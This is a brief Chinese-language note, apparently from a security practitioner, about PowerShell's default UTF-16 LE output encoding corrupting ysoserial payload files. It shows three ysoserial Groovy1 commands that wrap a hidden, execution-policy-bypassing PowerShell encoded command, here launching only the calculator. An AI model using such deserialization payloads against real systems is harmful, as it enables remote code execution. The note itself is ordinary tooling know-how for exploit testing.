powershell 中文系統默認UTF-16 (LE) UNICODE編碼 使用時需小心

現象：

1.cmd生成payload

java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" > payload.bin

2.powershell生成payload

java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" > payload2.bin

第二次生成：

java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YwBhAGwAYwA=" | Out-File -Encoding default payload3.bin

3.結果對比

4.學習

https://wenku.baidu.com/view/768a052b915f804d2b16c149.html

https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Utility/Out-File?view=powershell-6